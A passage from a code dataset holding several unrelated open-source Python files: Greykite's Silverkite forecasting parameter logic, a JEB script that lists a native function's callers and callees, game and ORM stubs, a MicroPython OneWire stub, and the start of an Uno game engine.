simple_freq=time_properties[\"simple_freq\"].name,\n num_days=time_properties[\"num_training_days\"],\n feature_sets_enabled=feature_sets_enabled)\n\n model_feature_terms = self.__get_feature_sets_terms(\n daily_event_df_dict=daily_event_df_dict,\n daily_seas_interaction_order=daily_seas_interaction_order,\n weekly_seas_interaction_order=weekly_seas_interaction_order,\n growth_term=growth_term_formula,\n changepoint_cols=changepoint_cols)\n\n # extends ``extra_pred_cols`` by the requested feature sets from ``feature_sets_enabled``\n for feature_set_name, feature_set_terms in model_feature_terms.items():\n if feature_sets_enabled[feature_set_name]:\n extra_pred_cols += feature_set_terms\n extra_pred_cols = unique_elements_in_list(extra_pred_cols)\n\n # the parameters to call ``SilverkiteForecast::forecast``\n # parameters that are directly passed through are noted below\n parameters = dict(\n df=df, # pass-through\n time_col=time_col, # pass-through\n value_col=value_col, # pass-through\n origin_for_time_vars=origin_for_time_vars,\n extra_pred_cols=extra_pred_cols,\n train_test_thresh=train_test_thresh, # pass-through\n training_fraction=training_fraction, # pass-through\n fit_algorithm=fit_algorithm, # pass-through\n fit_algorithm_params=fit_algorithm_params, # pass-through\n daily_event_df_dict=daily_event_df_dict,\n fs_components_df=fs_components_df,\n autoreg_dict=autoreg_dict, # pass-through\n lagged_regressor_dict=lagged_regressor_dict, # pass-through\n changepoints_dict=changepoints_dict, # pass-through\n seasonality_changepoints_dict=seasonality_changepoints_dict, # pass-through\n changepoint_detector=changepoint_detector,\n min_admissible_value=min_admissible_value, # pass-through\n max_admissible_value=max_admissible_value, # pass-through\n uncertainty_dict=uncertainty_dict, # pass-through\n regression_weight_col=regression_weight_col, # pass-through\n forecast_horizon=forecast_horizon, # pass-through\n simulation_based=simulation_based # pass-through\n )\n\n return parameters\n\n def forecast_simple(\n self,\n *args,\n **kwargs):\n \"\"\"A wrapper around ``SilverkiteForecast::forecast`` that simplifies some of the input parameters.\n\n Parameters\n ----------\n args : positional args\n Positional args to pass to\n :func:`~greykite.algo.forecast.silverkite.forecast_simple_silverkite.convert_simple_silverkite_params`.\n See that function for details.\n\n kwargs : keyword args\n Keyword args to pass to\n :func:`~greykite.algo.forecast.silverkite.forecast_simple_silverkite.convert_simple_silverkite_params`.\n See that function for details.\n\n Returns\n -------\n trained_model : `dict`\n The return value of :func:`~greykite.algo.forecast.silverkite.SilverkiteForecast.forecast`\n A dictionary that includes the fitted model from the function\n :func:`~greykite.algo.common.ml_models.fit_ml_model_with_evaluation`.\n \"\"\"\n parameters = self.convert_params(*args, **kwargs)\n trained_model = super().forecast(**parameters)\n return trained_model\n\n def __get_requested_seasonality_order(\n self,\n requested_seasonality=\"auto\",\n default_order=5,\n is_enabled_auto=True):\n \"\"\"Returns requested seasonality fourier series order.\n\n Parameters\n ----------\n requested_seasonality : `str` or `bool` or `int`, default = 'auto'\n The requested seasonality.\n 'auto', True, False, or a number for the Fourier order.\n default_order : `int`\n The default order to use for 'auto' and True.\n is_enabled_auto : `bool`\n Whether the seasonality should be modeled for 'auto' seasonality.\n\n Returns\n -------\n order : `int`\n Seasonality fourier series order.\n \"\"\"\n if requested_seasonality is True or (requested_seasonality == 'auto' and is_enabled_auto):\n order = default_order\n elif requested_seasonality is False or (requested_seasonality == 'auto' and not is_enabled_auto):\n order = 0\n else:\n try:\n order = int(requested_seasonality)\n except ValueError as e:\n log_message(f\"Requested seasonality order '{requested_seasonality}' must be one of:\"\n f\" 'auto', True, False, integer\", LoggingLevelEnum.ERROR)\n raise e\n return order\n\n def __get_silverkite_seasonality(\n self,\n simple_freq=SimpleTimeFrequencyEnum.DAY.name,\n num_days=1000,\n seasonality=None):\n \"\"\"Generates `fs_components_df` parameter for `forecast_silverkite`\n for modeling seasonality.\n\n Parameters\n ----------\n simple_freq : `str`\n SimpleTimeFrequencyEnum member that best matches the input data frequency\n according to `get_simple_time_frequency_from_period`\n num_days : `int`\n Number of days of observations in the input data\n seasonality : `dict` or None\n Seasonality configuration dictionary, with the following optional keys.\n (keys are SilverkiteSeasonalityEnum members in lower case):\n\n - ``\"yearly_seasonality\"`` : `str` or `bool` or `int` or None, default = 'auto'\n Determines the yearly seasonality\n 'auto', True, False, or a number for the Fourier order\n ``\"quarterly_seasonality\"`` : `str` or `bool` or `int` or None, default = 'auto'\n Determines the quarterly seasonality\n 'auto', True, False, or a number for the Fourier order\n ``\"monthly_seasonality\"`` : `str` or `bool` or `int` or None, default = 'auto'\n Determines the monthly seasonality\n 'auto', True, False, or a number for the Fourier order\n ``\"weekly_seasonality\"`` : `str` or `bool` or `int` or None, default = 'auto'\n Determines the weekly seasonality\n 'auto', True, False, or a number for the Fourier order\n ``\"daily_seasonality\"`` : `str` or `bool` or `int` or None, default = 'auto'\n Determines the daily seasonality\n 'auto', True, False, or a number for the Fourier order\n\n None is equivalent to 'auto'. If 'auto', seasonality components are based on input data\n (``num_days``, ``simple_freq``), according to\n `~greykite.algo.forecast.silverkite.constants.silverkite_seasonality.SilverkiteSeasonalityEnum`.\n and `~greykite.algo.forecast.silverkite.constants.silverkite_time_frequency.SilverkiteTimeFrequencyEnum`.\n\n Returns\n -------\n fs_components_df : `pandas.DataFrame`\n Contains fourier series specification. Columns:\n\n - \"name\"\n - \"period\"\n - \"order\"\n - \"seas_names\"\n \"\"\"\n if seasonality is None:\n seasonality = {}\n\n # recognized seasonalities for silverkite\n silverkite_seasonalities = self._silverkite_seasonality_enum.__members__.copy()\n silverkite_seasonalities = {k.lower(): v for k, v in silverkite_seasonalities.items()}\n\n # valid seasonalities based on input data frequency\n freq_valid_seas_names = SimpleTimeFrequencyEnum[simple_freq].value.valid_seas\n freq_auto_seas_names = self._silverkite_time_frequency_enum[simple_freq].value.auto_fourier_seas\n\n for key in seasonality.keys():\n if key not in silverkite_seasonalities.keys():\n raise ValueError(f\"{key} must be one of {silverkite_seasonalities.keys()}\")\n\n seasonalities = [] # seasonalities to add to the model\n for seas in silverkite_seasonalities.values():\n # keys are SilverkiteSeasonalityEnum members in lower case\n seas_input = seasonality.get(seas.name.lower(), \"auto\")\n # under auto configuration, seasonality is added if it's recommended for both\n # the input frequency and data size\n is_enabled_auto = (\n num_days >= seas.value.default_min_days\n and seas.name in freq_auto_seas_names)\n order = self.__get_requested_seasonality_order(\n requested_seasonality=seas_input,\n default_order=seas.value.order,\n is_enabled_auto=is_enabled_auto)\n if order > 0:\n if seas.name not in freq_valid_seas_names:\n log_message(f\"'{seas.name.lower()}' is typically not valid for \"\n f\"data with '{simple_freq}' frequency. Each seasonality period \"\n f\"should cover multiple observations in the data. To remove \"\n f\"these seasonality terms from the model, remove {seas.name.lower()}={seas_input} \"\n f\"or set it to 'auto' or 0.\", LoggingLevelEnum.WARNING)\n seasonalities.append({\n \"name\": seas.value.name,\n \"period\": seas.value.period,\n \"order\": order, # user is allowed to override default order\n \"seas_names\": seas.value.seas_names\n })\n\n # constructs dataframe where each seasonality is a row\n if len(seasonalities) > 0:\n fs = pd.DataFrame(\n seasonalities,\n columns=[\"name\", \"period\", \"order\", \"seas_names\"])\n else:\n fs = None\n return fs\n\n def __get_seasonality_order_from_dataframe(\n self,\n seasonality,\n fs=None,\n max_order=None):\n \"\"\"Returns fourier series order from a `pandas.DataFrame`\n fourier series specification. Return value is capped by ``max_order``.\n\n Parameters\n ----------\n seasonality : `SilverkiteSeasonalityEnum.Seasonality` namedtuple\n Which seasonality to extract from ``fs``.\n Has attributes ``name``, ``period``, ``order``, ``seas_names``\n Can be a `SilverkiteSeasonalityEnum` member value.\n fs : `pandas.DataFrame` or None, optional, default `None`\n Columns: \"name\", \"period\", \"order\", \"seas_names\"\n Suitable for ``fs_components_df`` parameter for ``forecast_silverkite``\n for modeling seasonality.\n Could be returned by ``get_silverkite_seasonality``.\n Assumes that ``name`` and ``seas_names`` uniquely identify a row.\n max_order: `int` or None, optional, default `None`\n Upper limit on seasonality_order.\n\n Returns\n -------\n fs_order : `int`\n The Fourier series order of the row with the given `name` and `seas_names`\n \"\"\"\n order = 0\n if fs is not None:\n name_match = (fs[\"name\"] == seasonality.name)\n seas_match = ((fs[\"seas_names\"] == seasonality.seas_names)\n if seasonality.seas_names is not None\n else pd.isna(fs[\"seas_names\"]))\n\n if any(name_match & seas_match):\n order = fs.loc[(name_match & seas_match), \"order\"].values[0]\n if max_order is not None:\n order = min(order, max_order)\n return order\n\n def __get_feature_sets_enabled(\n self,\n simple_freq=SimpleTimeFrequencyEnum.DAY.name,\n num_days=1000,\n feature_sets_enabled=\"auto\"):\n \"\"\"Returns default feature sets based on training data frequency and size.\n\n Parameters\n ----------\n simple_freq: `str`, default SimpleTimeFrequencyEnum.DAY.name\n SimpleTimeFrequencyEnum member that best matches the input data frequency\n according to `get_simple_time_frequency_from_period`\n num_days: `int`, default 1000\n Number of days of observations in the input data\n feature_sets_enabled: `dict` [`str`, `bool` or \"auto\" or None] or `bool` or \"auto\" or None, default \"auto\"\n Whether to include interaction terms and categorical variables to increase model flexibility.\n\n If a `dict`, boolean values indicate whether include various sets of features in the model.\n The following keys are recognized\n (from `~greykite.algo.forecast.silverkite.constants.silverkite_column.SilverkiteColumn`):\n\n ``\"COLS_HOUR_OF_WEEK\"`` : `str`\n Constant hour of week effect\n ``\"COLS_WEEKEND_SEAS\"`` : `str`\n Daily seasonality interaction with is_weekend\n ``\"COLS_DAY_OF_WEEK_SEAS\"`` : `str`\n Daily seasonality interaction with day of week\n ``\"COLS_TREND_DAILY_SEAS\"`` : `str`\n Allow daily seasonality to change over time by is_weekend\n ``\"COLS_EVENT_SEAS\"`` : `str`\n Allow sub-daily event effects\n ``\"COLS_EVENT_WEEKEND_SEAS\"`` : `str`\n Allow sub-daily event effect to interact with is_weekend\n ``\"COLS_DAY_OF_WEEK\"`` : `str`\n Constant day of week effect\n ``\"COLS_TREND_WEEKEND\"`` : `str`\n Allow trend (growth, changepoints) to interact with is_weekend\n ``\"COLS_TREND_DAY_OF_WEEK\"`` : `str`\n Allow trend to interact with day of week\n ``\"COLS_TREND_WEEKLY_SEAS\"`` : `str`\n Allow weekly seasonality to change over time\n\n The following dictionary values are recognized:\n\n - True: include the feature set in the model\n - False: do not include the feature set in the model\n - None: do not include the feature set in the model\n - \"auto\" or not provided: use the default setting based on data frequency and size\n\n If not a `dict`:\n\n - if a boolean, equivalent to a dictionary with all values set to the boolean.\n - if None, equivalent to a dictionary with all values set to False.\n - if \"auto\", equivalent to a dictionary with all values set to \"auto\".\n\n Returns\n -------\n feature_sets_enabled : `dict` [`str`, `bool`]\n Indicates which feature sets will be added to the model. Feature sets are determined\n by `get_model_feature_terms` and may be empty (e.g. if there are no events,\n there is no event:seasonality interaction)\n Same valid options as `feature_sets_enabled` parameter.\n \"\"\"\n feature_sets_enabled_default = {\n self._silverkite_column.COLS_HOUR_OF_WEEK: False,\n self._silverkite_column.COLS_WEEKEND_SEAS: False,\n self._silverkite_column.COLS_DAY_OF_WEEK_SEAS: False,\n self._silverkite_column.COLS_TREND_DAILY_SEAS: False,\n self._silverkite_column.COLS_EVENT_SEAS: False,\n self._silverkite_column.COLS_EVENT_WEEKEND_SEAS: False,\n self._silverkite_column.COLS_DAY_OF_WEEK: False,\n self._silverkite_column.COLS_TREND_WEEKEND: False,\n self._silverkite_column.COLS_TREND_DAY_OF_WEEK: False,\n self._silverkite_column.COLS_TREND_WEEKLY_SEAS: False,\n }\n frequency = SimpleTimeFrequencyEnum[simple_freq].value\n\n # for sub-daily data\n if (\n frequency.seconds_per_observation\n <= SimpleTimeFrequencyEnum.HOUR.value.seconds_per_observation):\n if num_days >= TimeEnum.ONE_MONTH_IN_DAYS.value:\n # hour of week offset, helps the fourier terms\n feature_sets_enabled_default[self._silverkite_column.COLS_HOUR_OF_WEEK] = True\n # daily seasonality on weekday vs weekend\n feature_sets_enabled_default[self._silverkite_column.COLS_WEEKEND_SEAS] = True\n # daily seasonality by day of week\n feature_sets_enabled_default[self._silverkite_column.COLS_DAY_OF_WEEK_SEAS] = True\n # daily seasonality trend on weekday, weekend\n feature_sets_enabled_default[self._silverkite_column.COLS_TREND_DAILY_SEAS] = True\n\n if num_days < 3 * TimeEnum.ONE_YEAR_IN_DAYS.value:\n # holiday daily seasonality\n feature_sets_enabled_default[self._silverkite_column.COLS_EVENT_SEAS] = True\n else:\n # holiday daily seasonality that depends on weekend/weekday\n # By pigeonhole principle, with reasonable assumption that a holiday must fall on a different\n # day of the week for any three consecutive years (or else always be on the same day of week),\n # it takes at most 3 years of training data to observe all weekend/weekday possibilities.\n feature_sets_enabled_default[self._silverkite_column.COLS_EVENT_WEEKEND_SEAS] = True\n\n # for sub-weekly data\n if (\n frequency.seconds_per_observation\n <= SimpleTimeFrequencyEnum.DAY.value.seconds_per_observation):\n # day of week offset, helps the fourier terms\n feature_sets_enabled_default[self._silverkite_column.COLS_DAY_OF_WEEK] = True\n\n # allows different trend on weekday vs weekend\n if num_days >= TimeEnum.ONE_MONTH_IN_DAYS.value:\n feature_sets_enabled_default[self._silverkite_column.COLS_TREND_WEEKEND] = True\n\n # allows trend interaction with day of week\n if num_days >= TimeEnum.ONE_QUARTER_IN_DAYS.value:\n feature_sets_enabled_default[self._silverkite_column.COLS_TREND_DAY_OF_WEEK] = True\n\n if num_days >= TimeEnum.ONE_YEAR_IN_DAYS.value:\n # weekly seasonality trend over time\n feature_sets_enabled_default[self._silverkite_column.COLS_TREND_WEEKLY_SEAS] = True\n\n # None is treated the same as False.\n # Intuitively, feature_sets_enabled=None should\n # mean no feature sets are enabled.\n if feature_sets_enabled is None:\n feature_sets_enabled = False\n\n # Overrides defaults with user provided dictionary\n if feature_sets_enabled == \"auto\":\n pass # uses the automatic defaults directly\n elif isinstance(feature_sets_enabled, bool):\n # All values are set to the provided boolean value\n for k in feature_sets_enabled_default.keys():\n feature_sets_enabled_default[k] = feature_sets_enabled\n elif isinstance(feature_sets_enabled, dict):\n # Uses the boolean values in `feature_sets_enabled` to override `feature_sets_enabled_default`\n for setting, is_enabled in feature_sets_enabled.items():\n if setting not in feature_sets_enabled_default:\n raise ValueError(f\"Unrecognized feature set: '{setting}'. Value feature sets are \"\n f\"{list(feature_sets_enabled_default.keys())}\")\n\n if is_enabled == \"auto\":\n # \"auto\" values are considered not set by the user and fall back to the default\n continue\n if is_enabled is True:\n # User explicitly turned on this feature set.\n feature_sets_enabled_default[setting] = True\n elif is_enabled is False or is_enabled is None:\n # User explicitly turned off this feature set.\n # None values are treated the same as False.\n feature_sets_enabled_default[setting] = False\n else:\n raise ValueError(\n f\"Unrecognized `feature_sets_enabled` dictionary value for key {setting}: \"\n f\"expected bool or 'auto' or None. Found: {is_enabled}\")\n else:\n raise ValueError(\n f\"Unrecognized type for `feature_sets_enabled`: expected bool, dict, 'auto', or None. Found: {feature_sets_enabled}\")\n return feature_sets_enabled_default\n\n def __get_feature_sets_terms(\n self,\n daily_event_df_dict=None,\n daily_seas_interaction_order=0,\n weekly_seas_interaction_order=0,\n growth_term=None,\n changepoint_cols=None):\n \"\"\"Defines features sets for use in the `extra_pred_cols` parameter\n to `forecast_silverkite`.\n Derived from events, seasonality, and trend (growth + changepoints).\n\n :param daily_event_df_dict: Optional[Dict[str, pd.DataFrame(\"date\", \"event\")]]\n suitable for use as `daily_event_df_dict` parameter in `forecast_silverkite`\n Each event is modeled as its own effect\n :param daily_seas_interaction_order: int\n Order on interaction terms with daily seasonality\n :param weekly_seas_interaction_order: int\n Order on interaction terms with weekly seasonality\n :param growth_term: Optional[str]\n How to model the growth. Valid options are \"linear\", \"quadratic\", \"sqrt\", \"cubic\", \"cuberoot\"\n :param changepoint_cols: Optional[List[str]]\n Names of the changepoint feature columns to be generated by `build_silverkite_features`\n :return: Dict[str, List[str]]\n The patsy model terms for each feature set\n key: feature set name\n value: list of patsy model terms\n If there are no valid patsy model terms according to the input configuration,\n the list is empty.\n For example, if there are no events, the event related effects will be empty\n \"\"\"\n # enumerates all possible keys\n extra_pred_cols_grouped = {\n self._silverkite_column.COLS_HOUR_OF_WEEK: [],\n self._silverkite_column.COLS_WEEKEND_SEAS: [],\n self._silverkite_column.COLS_DAY_OF_WEEK_SEAS: [],\n self._silverkite_column.COLS_TREND_DAILY_SEAS: [],\n self._silverkite_column.COLS_EVENT_SEAS: [],\n self._silverkite_column.COLS_EVENT_WEEKEND_SEAS: [],\n self._silverkite_column.COLS_DAY_OF_WEEK: [],\n self._silverkite_column.COLS_TREND_WEEKEND: [],\n self._silverkite_column.COLS_TREND_DAY_OF_WEEK: [],\n self._silverkite_column.COLS_TREND_WEEKLY_SEAS: [],\n }\n\n # the columns which constitute the trend\n if changepoint_cols is None:\n changepoint_cols = []\n growth_col = [growth_term] if growth_term is not None else []\n trend_cols = growth_col + changepoint_cols\n\n # all possible values of `dow` and `dow_hr` from `build_time_features_df`\n dow_levels = [\"1-Mon\", \"2-Tue\", \"3-Wed\", \"4-Thu\", \"5-Fri\", \"6-Sat\", \"7-Sun\"]\n dow_hr_levels = [f\"{day + 1}_{str(hour).zfill(2)}\" for day in range(7) for hour in range(24)]\n day_of_week = patsy_categorical_term(term=\"str_dow\", levels=dow_levels)\n hour_of_week = patsy_categorical_term(term=\"dow_hr\", levels=dow_hr_levels)\n\n extra_pred_cols_grouped[self._silverkite_column.COLS_DAY_OF_WEEK] = [day_of_week]\n extra_pred_cols_grouped[self._silverkite_column.COLS_HOUR_OF_WEEK] = [hour_of_week]\n extra_pred_cols_grouped[self._silverkite_column.COLS_TREND_WEEKEND] = [f\"is_weekend:{col}\" for col in trend_cols]\n extra_pred_cols_grouped[self._silverkite_column.COLS_TREND_DAY_OF_WEEK] = [f\"{day_of_week}:{col}\" for col in trend_cols]\n\n # allows major holidays to have different daily seasonality\n # interact with fourier series terms up to fs_daily_interaction_order\n daily_seasonality = self._silverkite_seasonality_enum.DAILY_SEASONALITY.value\n weekly_seasonality = self._silverkite_seasonality_enum.WEEKLY_SEASONALITY.value\n if daily_seas_interaction_order > 0:\n for holiday in self._silverkite_holiday.HOLIDAYS_TO_INTERACT:\n if daily_event_df_dict is not None and holiday in daily_event_df_dict.keys():\n event_levels = [cst.EVENT_DEFAULT] # reference level for non-event days, added by `add_daily_events`\n # This event's levels\n event_levels += list(daily_event_df_dict[holiday][cst.EVENT_DF_LABEL_COL].unique())\n\n # `term` matches new_col in `add_daily_events`\n term = f\"{cst.EVENT_PREFIX}_{holiday}\"\n extra_pred_cols_grouped[self._silverkite_column.COLS_EVENT_SEAS] += cols_interact(\n static_col=f\"{patsy_categorical_term(term=term, levels=event_levels)}\",\n fs_name=daily_seasonality.name,\n fs_order=daily_seas_interaction_order,\n fs_seas_name=daily_seasonality.seas_names)\n\n extra_pred_cols_grouped[self._silverkite_column.COLS_EVENT_WEEKEND_SEAS] += cols_interact(\n static_col=f\"is_weekend:{patsy_categorical_term(term=term, levels=event_levels)}\",\n fs_name=daily_seasonality.name,\n fs_order=daily_seas_interaction_order,\n fs_seas_name=daily_seasonality.seas_names)\n\n extra_pred_cols_grouped[self._silverkite_column.COLS_WEEKEND_SEAS] = cols_interact(\n static_col=\"is_weekend\",\n fs_name=daily_seasonality.name,\n fs_order=daily_seas_interaction_order,\n fs_seas_name=daily_seasonality.seas_names)\n\n extra_pred_cols_grouped[self._silverkite_column.COLS_DAY_OF_WEEK_SEAS] = cols_interact(\n static_col=day_of_week,\n fs_name=daily_seasonality.name,\n fs_order=daily_seas_interaction_order,\n fs_seas_name=daily_seasonality.seas_names)\n\n for col in trend_cols:\n extra_pred_cols_grouped[self._silverkite_column.COLS_TREND_DAILY_SEAS] += cols_interact(\n static_col=f\"is_weekend:{col}\",\n fs_name=daily_seasonality.name,\n fs_order=daily_seas_interaction_order,\n fs_seas_name=daily_seasonality.seas_names)\n\n if weekly_seas_interaction_order > 0:\n for col in trend_cols:\n extra_pred_cols_grouped[self._silverkite_column.COLS_TREND_WEEKLY_SEAS] += cols_interact(\n static_col=col,\n fs_name=weekly_seasonality.name,\n fs_order=weekly_seas_interaction_order,\n fs_seas_name=weekly_seasonality.seas_names)\n\n return extra_pred_cols_grouped\n\n def __get_silverkite_holidays(\n self,\n holiday_lookup_countries=\"auto\",\n holidays_to_model_separately=\"auto\",\n start_year=2015,\n end_year=2030,\n pre_num=2,\n post_num=2,\n pre_post_num_dict=None):\n \"\"\"Generates holidays dictionary for input to daily_event_df_dict parameter of silverkite model.\n The main purpose is to provide reasonable defaults for the holiday names and countries\n\n Parameters\n ----------\n holiday_lookup_countries : `list` [`str`] or \"auto\" or None, optional, default \"auto\"\n The countries that contain the holidays you intend to model\n (``holidays_to_model_separately``).\n\n * If \"auto\", uses a default list of countries\n that contain the default ``holidays_to_model_separately``.\n See `~greykite.algo.forecast.silverkite.constants.silverkite_holiday.SilverkiteHoliday.HOLIDAY_LOOKUP_COUNTRIES_AUTO`.\n * If a list, must be a list of country names.\n * If None or an empty list, no holidays are modeled.\n\n holidays_to_model_separately : `list` [`str`] or \"auto\" or `~greykite.algo.forecast.silverkite.constants.silverkite_holiday.SilverkiteHoliday.ALL_HOLIDAYS_IN_COUNTRIES` or None, optional, default \"auto\" # noqa: E501\n Which holidays to include in the model.\n The model creates a separate key, value for each item in ``holidays_to_model_separately``.\n The other holidays in the countries are grouped together as a single effect.\n\n * If \"auto\", uses a default list of important holidays.\n See `~greykite.algo.forecast.silverkite.constants.silverkite_holiday.SilverkiteHoliday.HOLIDAYS_TO_MODEL_SEPARATELY_AUTO`.\n * If `~greykite.algo.forecast.silverkite.constants.silverkite_holiday.SilverkiteHoliday.ALL_HOLIDAYS_IN_COUNTRIES`,\n uses all available holidays in ``holiday_lookup_countries``. This can often\n create a model that has too many parameters, and should typically be avoided.\n * If a list, must be a list of holiday names.\n * If None or an empty list, all holidays in ``holiday_lookup_countries`` are grouped together\n as a single effect.\n\n Use ``holiday_lookup_countries`` to provide a list of countries where these holiday occur.\n start_year : `int`\n Year of first training data point, used to generate holiday events.\n end_year : `int`\n Year of last forecast data point, used to generate holiday events.\n pre_num : `int`\n Model holiday effects for ``pre_num`` days before the holiday.\n post_num : `int`\n Model holiday effects for ``post_num`` days after the holiday.\n pre_post_num_dict : `dict` [`str`, (`int`, `int`)] or None, default None\n Overrides ``pre_num`` and ``post_num`` for each holiday in\n ``holidays_to_model_separately``.\n For example, if ``holidays_to_model_separately`` contains \"Thanksgiving\" and \"Labor Day\",\n this parameter can be set to ``{\"Thanksgiving\": [1, 3], \"Labor Day\": [1, 2]}``,\n denoting that the \"Thanksgiving\" ``pre_num`` is 1 and ``post_num`` is 3, and \"Labor Day\"\n ``pre_num`` is 1 and ``post_num`` is 2.\n Holidays not specified use the default given by ``pre_num`` and ``post_num``.\n\n Returns\n -------\n daily_event_df_dict : `dict` [`str`, `pandas.DataFrame` [EVENT_DF_DATE_COL, EVENT_DF_LABEL_COL]]\n Suitable for use as `daily_event_df_dict` parameter in `forecast_silverkite`.\n Each holiday is modeled as its own effect (not specific to each country).\n\n See Also\n --------\n `~greykite.common.features.timeseries_features.get_available_holiday_lookup_countries`\n to list available countries for modeling.\n\n `~greykite.common.features.timeseries_features.get_available_holidays_across_countries`\n to see available holidays in those countries.\n \"\"\"\n if holiday_lookup_countries is None:\n # `None` will not model any holidays\n holiday_lookup_countries = []\n elif holiday_lookup_countries == \"auto\":\n # countries that contain the default `holidays_to_model_separately`\n holiday_lookup_countries = self._silverkite_holiday.HOLIDAY_LOOKUP_COUNTRIES_AUTO\n elif not isinstance(holiday_lookup_countries, (list, tuple)):\n raise ValueError(\n f\"`holiday_lookup_countries` should be a list, found {holiday_lookup_countries}\")\n\n if holidays_to_model_separately is None:\n holidays_to_model_separately = []\n elif holidays_to_model_separately == \"auto\":\n # important holidays\n holidays_to_model_separately = self._silverkite_holiday.HOLIDAYS_TO_MODEL_SEPARATELY_AUTO\n elif holidays_to_model_separately == self._silverkite_holiday.ALL_HOLIDAYS_IN_COUNTRIES:\n holidays_to_model_separately = get_available_holidays_across_countries(\n countries=holiday_lookup_countries,\n year_start=start_year - 1,\n year_end=end_year + 1)\n elif not isinstance(holidays_to_model_separately, (list, tuple)):\n raise ValueError(\n f\"`holidays_to_model_separately` should be a list, found {holidays_to_model_separately}\")\n\n return generate_holiday_events(\n countries=holiday_lookup_countries,\n holidays_to_model_separately=holidays_to_model_separately,\n year_start=start_year - 1, # subtract 1 just in case, to ensure coverage of all holidays\n year_end=end_year + 1, # add 1 just in case, to ensure coverage of all holidays\n pre_num=pre_num,\n post_num=post_num,\n pre_post_num_dict=pre_post_num_dict)\n", "source": "goncaloperes/greykite", "license": "BSD-2-Clause"} {"text": "# -*- coding: utf-8 -*-\nfrom com.pnfsoftware.jeb.client.api import IClientContext\nfrom com.pnfsoftware.jeb.core import IRuntimeProject\nfrom com.pnfsoftware.jeb.core.units import IUnit, INativeCodeUnit\nfrom com.pnfsoftware.jeb.core.units.code.asm.analyzer import INativeCodeAnalyzer, INativeCodeModel, IReferenceManager, ICallGraphManager, ICallGraph, CallGraphVertex\nfrom com.pnfsoftware.jeb.core.units.code.asm.items import INativeMethodItem\n\n\n# callees/callers \u8c03\u7528\u4e0e\u88ab\u8c03\u7528\u4fe1\u606f\ndef Test(ctx):\n assert isinstance(ctx,IClientContext)\n input_path = r\"D:\\tmp\\2\\project\\about_dex_diff\\code\\xmly\\libFace3D.so\"\n unit = ctx.open(input_path); assert isinstance(unit,IUnit)\n prj = ctx.getMainProject(); assert isinstance(prj,IRuntimeProject)\n\n # \u83b7\u53d6INativeCodeUnit\u5e76\u6267\u884c\u89e3\u6790\n nativeCodeUnit = prj.findUnit(INativeCodeUnit); assert isinstance(nativeCodeUnit,INativeCodeUnit)\n bool = nativeCodeUnit.process()\n\n # \u83b7\u53d6INativeCodeAnalyzer,\u83b7\u53d6INativeCodeModel\n nativeCodeAnalyzer = nativeCodeUnit.getCodeAnalyzer(); assert isinstance(nativeCodeAnalyzer,INativeCodeAnalyzer)\n nativeCodeAnalyzer.analyze()\n nativeCodeModel = nativeCodeAnalyzer.getModel(); assert isinstance(nativeCodeModel,INativeCodeModel)\n\n # \u83b7\u53d6ICallGraph\n callGraph = nativeCodeModel.getCallGraphManager().getGlobalCallGraph(); assert isinstance(callGraph,ICallGraph)\n\n # \u51fd\u6570\n funcName = \"libunwind::LocalAddressSpace::findFunctionName\"\n nativeMethodItem = nativeCodeUnit.getMethod(funcName); assert isinstance(nativeMethodItem,INativeMethodItem)\n print \">>> funcAddr:\",hex(nativeMethodItem.getRoutineAddress())\n\n # callees \u76ee\u6807\u51fd\u6570\u8c03\u7528\u4e86\u8c01\n callGraphVertexList = callGraph.getCallees(nativeMethodItem,False)\n for callGraphVertex in callGraphVertexList:\n assert isinstance(callGraphVertex,CallGraphVertex)\n print \">>> Callee:\",hex(callGraphVertex.getInternalAddress().getAddress())\n\n # callers \u76ee\u6807\u51fd\u6570\u88ab\u8c01\u8c03\u7528\n callerList = callGraph.getCallers(nativeMethodItem,False)\n for caller in callerList:\n print \">>> Callers:\",hex(caller)\n\n# >>> funcAddr: 0x19a1cL\n# >>> Callee: 0xabfcL\n# >>> Callee: 0xac08L\n# >>> Callee: 0x9cc0L\n# >>> Callers: 0x196b2L ", "source": "acbocai/jeb_script", "license": "BSD-2-Clause"} {"text": "# DO NOT MODIFY THESE IMPORTS\nfrom games.stumped.ai import AI\nfrom games.stumped.game import Game\nfrom games.stumped.beaver import Beaver\nfrom games.stumped.game_object import GameObject\nfrom games.stumped.job import Job\nfrom games.stumped.player import Player\nfrom games.stumped.spawner import Spawner\nfrom games.stumped.tile import Tile\n\n# if you need to initialize this module with custom logic do so here\n", "source": "Ragnyll/mmai-19", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCuttle, the simple, extendable ORM.\n\n:license: MIT, see LICENSE for details.\n\"\"\"\n\n\n__version__ = '0.9.0.dev'\n", "source": "smitchell556/cuttle", "license": "MIT"} {"text": "\"\"\"\nModule: 'onewire' on esp32 1.11.0\n\"\"\"\n# MCU: (sysname='esp32', nodename='esp32', release='1.11.0', version='v2.11.0.1 on 2019-07-26', machine='ESP32 module with ESP32')\n# Stubber: 1.2.0\n\nclass OneWire:\n ''\n MATCH_ROM = 85\n SEARCH_ROM = 240\n SKIP_ROM = 204\n def _search_rom():\n pass\n\n def crc8():\n pass\n\n def readbit():\n pass\n\n def readbyte():\n pass\n\n def readinto():\n pass\n\n def reset():\n pass\n\n def scan():\n pass\n\n def select_rom():\n pass\n\n def write():\n pass\n\n def writebit():\n pass\n\n def writebyte():\n pass\n\n\nclass OneWireError:\n ''\n_ow = None\ndef const():\n pass\n\n", "source": "TheVinhLuong102/micropy-stubs", "license": "MIT"} {"text": "\"\"\"\nCore Uno game logic.\n\"\"\"\n\nfrom enum import Enum\nimport random\n\nfrom .actions import NopAction, ChallengeAction, DrawAction, PickColorAction, PlayCardAction\nfrom .cards import CardType, Color, full_deck\n\nMAX_PLAYERS = 8\nOBS_VECTOR_SIZE = 109 * 20 + MAX_PLAYERS * 3\n\n\nclass GameState(Enum):\n PLAY_OR_DRAW = 0\n PLAY = 1\n PLAY_DRAWN = 2\n PICK_COLOR = 3\n PICK_COLOR_INIT = 4\n CHALLENGE_VALID = 5\n CHALLENGE_INVALID = 6\n\n\nclass Game:\n def __init__(self, num_players):\n assert num_players <= MAX_PLAYERS\n self._num_players = num_players\n self._deck = full_deck()\n random.shuffle(self._deck)\n self._discard = []\n self._hands = []\n for _ in range(num_players):\n hand = []\n for _ in range(7):\n hand.append(self._deck.pop())\n self._hands.append(hand)\n while self._deck[-1].card_type == CardType.WILD_DRAW:\n random.shuffle(self._deck)\n self._discard.append(self._deck.pop())\n\n self._direction = 1\n self._turn = 0\n self._state = GameState.PLAY_OR_DRAW\n\n self._update_init_state()\n\n def 